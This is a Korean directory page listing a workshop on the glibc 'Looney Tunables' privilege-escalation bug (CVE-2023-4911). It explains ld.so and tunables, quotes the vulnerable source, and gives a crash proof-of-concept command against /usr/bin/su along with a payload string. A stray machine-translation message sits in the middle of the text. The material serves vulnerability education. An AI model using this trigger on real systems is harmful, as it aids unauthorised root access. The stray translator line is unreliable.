Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-4911 — Looney Tunables 로컬 권한 상승 (CVE-2023-4911) 워크숍 | Kitploit
도구/GitHubGitHub/kernelkrise/cve-2023-4911
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & PracticeArchived
GitHubkernelkrise/cve-2023-4911

CVE-2023-4911

Looney Tunables 로컬 권한 상승 (CVE-2023-4911) 워크숍

저장소 보기
18392년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-4911-Looney-Tunables

Looney Tunables 로컬 권한 상승 (CVE-2023-4911) 워크숍 (교육 목적으로만 사용)

링크:

  • IPPSEC 비디오
  • Qualsys 블로그 게시물
  • Qualsys 기술 세부정보
  • Exploit POC 파이썬 스크립트
  • GLIBC 소스
  • GLIBC 튜너블 문서

설명

ld.so란 무엇인가?

컴퓨팅에서 동적 링커는 실행 파일이 실행될 때 필요한 공유 라이브러리를 로드하고 링크하는 운영 체제의 일부로, 라이브러리의 내용을 영구 저장소에서 RAM으로 복사하고 점프 테이블을 채우며 포인터를 재배치합니다.

예를 들어, openssl 라이브러리를 사용하여 md5 해시를 계산하는 프로그램이 있다고 가정해 봅시다:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>

ld.so는 바이너리를 파싱하고 <openssl/md5.h>와 관련된 라이브러리를 찾으려고 합니다.```
$ ldd md5_hash                       
        linux-vdso.so.1 (0x00007fffa530b000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)

보시다시피, 필요한 암호화 라이브러리를 /lib/x86_64-linux-gnu/libcrypto.so.3에서 찾습니다. 프로그램 시작 시 이 로더는 해당 라이브러리의 코드를 프로세스 RAM에 넣고 이 라이브러리에 대한 모든 참조를 연결합니다.

요약

프로그램이 시작되면 이 로더는 먼저 프로그램을 검사하여 필요한 공유 라이브러리를 확인합니다. 그런 다음 이러한 라이브러리를 검색하여 메모리에 로드하고 런타임에 실행 파일과 연결합니다. 이 과정에서 동적 로더는 함수 및 변수 참조와 같은 심볼 참조를 해석하여 프로그램 실행에 필요한 모든 것이 준비되도록 합니다. 이러한 역할을 고려할 때 동적 로더는 매우 보안에 민감합니다. 로컬 사용자가 set-user-ID 또는 set-group-ID 프로그램을 실행하면 해당 코드가 상승된 권한으로 실행되기 때문입니다.

GLIBC Tunables란 무엇인가?

Tunables는 GNU C 라이브러리의 기능으로, 애플리케이션 작성자와 배포판 관리자가 런타임 라이브러리 동작을 작업 부하에 맞게 변경할 수 있게 해줍니다. 이는 다양한 방식으로 수정할 수 있는 일련의 스위치로 구현됩니다. 현재 기본적인 방법은 GLIBC_TUNABLES 환경 변수를 콜론으로 구분된 name=value 쌍의 문자열로 설정하는 것입니다. 예를 들어, 다음 예제는 malloc 검사를 활성화하고 malloc trim 임계값을 128바이트로 설정합니다:``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES

`--list-tunables`를 동적 로더에 전달하여 최소값 및 최대값과 함께 모든 튜너블을 출력합니다:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)

취약점 설명

실행 초기에 ld.so는 __tunables_init()를 호출하여 환경을 탐색하고(279행), GLIBC_TUNABLES 변수를 검색합니다(282행). 발견된 각 GLIBC_TUNABLES에 대해 이 변수의 복사본을 만들고(284행), parse_tunables()를 호출하여 이 복사본을 처리하고 정화한 다음(286행), 마지막으로 원래의 GLIBC_TUNABLES를 이 정화된 복사본으로 대체합니다(288행):```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }

parse_tunables()의 첫 번째 인자(tunestr)는 곧 정화될 GLIBC_TUNABLES 복사본을 가리키는 반면, 두 번째 인자(valstring)는 (스택에 있는) 원본 GLIBC_TUNABLES 환경 변수를 가리킨다. (형식이 "tunable1=`aaa:tunable2=bbb"`여야 하는) GLIBC_TUNABLES 복사본을 정화하기 위해 parse_tunables()는 tunestr에서 모든 위험한 튜너블(SXID_ERASE 튜너블)을 제거하지만, SXID_IGNORE 및 NONE 튜너블은 유지한다(221-235행):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

불행히도, GLIBC_TUNABLES 환경 변수가 "tunable1=tunable2=AAA" 형식인 경우 (여기서 "tunable1" 및 "tunable2"는 SXID_IGNORE 튜너블, 예: "glibc.malloc.mxfast") 다음과 같습니다:

  • parse_tunables()의 "while (true)"의 첫 번째 반복 동안, 전체 "tunable1=tunable2=AAA"가 tunestr로 제자리 복사되어 (221-235행) tunestr을 가득 채웁니다;

  • 247-248행에서 p는 증가하지 않습니다 (203-204행에서 ':'이 발견되지 않았기 때문에 p[len]은 '\0'입니다) 따라서 p는 여전히 "tunable1"의 값, 즉 "tunable2=AAA"를 가리킵니다;

  • parse_tunables()의 "while (true)"의 두 번째 반복 동안, "tunable2=AAA"가 (두 번째 튜너블인 것처럼) 이미 가득 찬 tunestr에 추가되어 tunestr이 오버플로됩니다.

PoC

명령:```bash $ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help Segmentation fault (core dumped)

I don't see any content to translate — the "Payload:" section is empty. There is no source text provided in this chunk, so there is nothing to output.```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001

익스플로잇

이 취약점은 단순한 버퍼 오버플로우이지만, 임의 코드 실행을 달성하기 위해 무엇을 덮어써야 할까요? 우리가 오버플로우시키는 버퍼는 284번째 줄에서 tunables_strdup()에 의해 할당됩니다. tunables_strdup()은 glibc의 malloc() 대신 ld.so의 __minimal_malloc()을 사용하는 strdup()의 재구현입니다(실제로 glibc의 malloc()은 아직 초기화되지 않았습니다). 이 __minimal_malloc() 구현은 단순히 mmap()을 호출하여 커널로부터 더 많은 메모리를 얻습니다.

도구 다운로드